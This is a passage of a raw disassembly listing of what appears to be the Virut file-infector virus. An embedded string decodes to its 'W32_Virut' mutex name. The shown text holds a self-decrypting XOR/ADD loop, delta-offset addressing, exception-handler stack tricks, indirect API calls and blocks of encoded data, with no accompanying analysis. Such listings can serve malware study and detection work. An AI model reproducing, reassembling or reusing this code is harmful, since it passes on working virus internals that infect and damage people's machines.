[ebx+50h], eax mov dl, [ebp+40342Fh] test dword ptr [ebp+403431h], 10000000h jz short loc_3144AE92 add ecx, [ebp+40106Dh] loc_3144AE92: ; CODE XREF: sub_3144AB97+2F3j mov dh, 0 test dword ptr [ebp+403431h], 20000h jnz short loc_3144AEB4 inc dh test dword ptr [ebp+403431h], 40000h jnz short loc_3144AEB4 mov dh, [ebp+403430h] loc_3144AEB4: ; CODE XREF: sub_3144AB97+307j ; sub_3144AB97+315j test dword ptr [ebp+403431h], 4000h jnz short loc_3144AECB loc_3144AEC0: ; CODE XREF: sub_3144AB97+330j mov al, [edi] add al, dl stosb add dl, dh loop loc_3144AEC0 jmp short loc_3144AED4 ; --------------------------------------------------------------------------- loc_3144AECB: ; CODE XREF: sub_3144AB97+327j ; sub_3144AB97+33Bj mov al, [edi] xor al, dl stosb add dl, dh loop loc_3144AECB loc_3144AED4: ; CODE XREF: .xur_:3144AB92j ; sub_3144AB97+11j ... xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax sub_3144AB97 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3144AEDD proc near ; CODE XREF: sub_3144AB97+11Cp cmp dword ptr [ebp+403956h], 0 jz locret_3144AA72 push dword ptr [ebp+403972h] call dword ptr [ebp+4035C4h] loc_3144AEF6: ; CODE XREF: sub_3144A9A1+C5j push dword ptr [ebp+40396Eh] call dword ptr [ebp+40353Ch] lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push dword ptr [ebp+403956h] call dword ptr [ebp+4035B8h] loc_3144AF1E: ; CODE XREF: sub_3144A9A1+6Bj ; sub_3144A9A1+82j ... push dword ptr [ebp+403956h] call dword ptr [ebp+40353Ch] loc_3144AF2A: ; CODE XREF: sub_3144A9A1+45j lea esi, [ebp+40384Eh] push dword ptr [ebp+403952h] push esi call dword ptr [ebp+4035B4h] and dword ptr [ebp+403956h], 0 retn sub_3144AEDD endp ; --------------------------------------------------------------------------- db 0E8h, 2 dup(0) dd 6A5D0000h, 49ED8101h, 58004033h, 85C10FF0h, 401580h dd 83C3C085h, 0FF0FFC8h, 158085C1h, 3DC30040h, 2A0010h dd 81661C75h, 6C0C247Ch, 60137571h, 0FFFFC4E8h, 0E80575FFh dd 0FFFFFB7Eh, 0FFFFD2E8h, 0FF2E61FFh, 3456782Dh, 25B812h dd 0E8600000h, 0FFFFFFA5h, 448B3975h, 0B58D3024h, 40384Eh dd 6608508Bh, 2063A81h, 68562573h, 0FF0000h, 6AC48Bh, 95FF5052h dd 4035F8h, 8108C483h, 3F3F5C3Eh, 8303755Ch, 2BE804C6h dd 0E8FFFFFBh, 0FFFFFF7Fh, 74B8C361h, 0EB000000h, 2FB8B1h dd 10E80000h, 0C2000000h, 30B80020h, 0E8000000h, 3, 8D0024C2h dd 0CD0C2454h, 0F8832Eh, 0E860197Ch, 0 dd 3024548Bh, 811A8B5Dh, 403413EDh, 0E539E800h, 0C261FFFFh dd 3010004h, 5060702h, 952AF1C7h, 15FF77E5h, 1001194h dd 27E89090h, 53000000h, 0CBFB9h, 66DA8B00h, 148D1031h dd 8DD68613h, 0F3E20240h, 0C35DC35Bh, 310F9BFFh, 1000B8C3h dd 0C9330000h, 0C08525EBh, 2CCD0875h, 0ED79C085h, 8C660EEBh dd 0AE3C1CAh, 0E173E378h, 0DD74FE38h, 0FFFFD5E8h, 0CFE891FFh dd 0F7FFFFFFh, 0C10355D9h, 4246C8Bh, 4246C81h, 0D006h dd 1002Dh, 81B37300h, 301006EDh, 82858D00h, 66003010h dd 0FF9D908Bh, 84E8FFFFh, 14FFFFFFh, 0BEA2BC9Bh, 357A533Eh dd 0B6CB9221h, 318233EDh, 0EDEBAB73h, 0A1052EA2h, 7F2B28D6h dd 0CF6FFFE4h, 68C2820Bh, 8669E085h, 65DBh, 14h dup(0) dd 809B4700h, 8308AD7Ch, 9103317Ch, 80ADA07Ch, 7Ch, 2 dup(0) dd 80BDB600h, 801A247Ch, 80945C7Ch, 8023677Ch, 81042C7Ch dd 8106377Ch, 864B0F7Ch, 80C0587Ch, 80E7EC7Ch, 81153C7Ch dd 810A777Ch, 831C457Ch, 80B6A17Ch, 8608FF7Ch, 835DCA7Ch dd 8111DA7Ch, 812ADE7Ch, 801D777Ch, 80B9057Ch, 80BB767Ch dd 8309E17Ch, 863DE57Ch, 863F587Ch, 8127827Ch, 831CB87Ch dd 8024427Ch, 810B1C7Ch, 80B9747Ch, 809A517Ch, 810D877Ch dd 90D4607Ch, 90D6827Ch, 90D7547Ch, 90D7697Ch, 90D7937Ch dd 90DC557Ch, 90DCFD7Ch, 90DD907Ch, 90DEB67Ch, 90EA327Ch dd 9130C67Ch, 7Ch, 14h dup(0) dd 380036h, 3144B258h, 42005Ch, 730061h, 4E0065h, 6D0061h dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h, 330057h dd 5F0032h, 690056h, 740072h, 75h, 0BBh dup(0) dd 91000000h, 0Dh dup(0) dd 7FFDB0h, 2292h dup(0) db 0 db 3 dup(?) dd 7Fh dup(?) _xur_ ends ; Section 5. (virtual address 00025000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00024200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 31455000h align 2000h _idata2 ends end start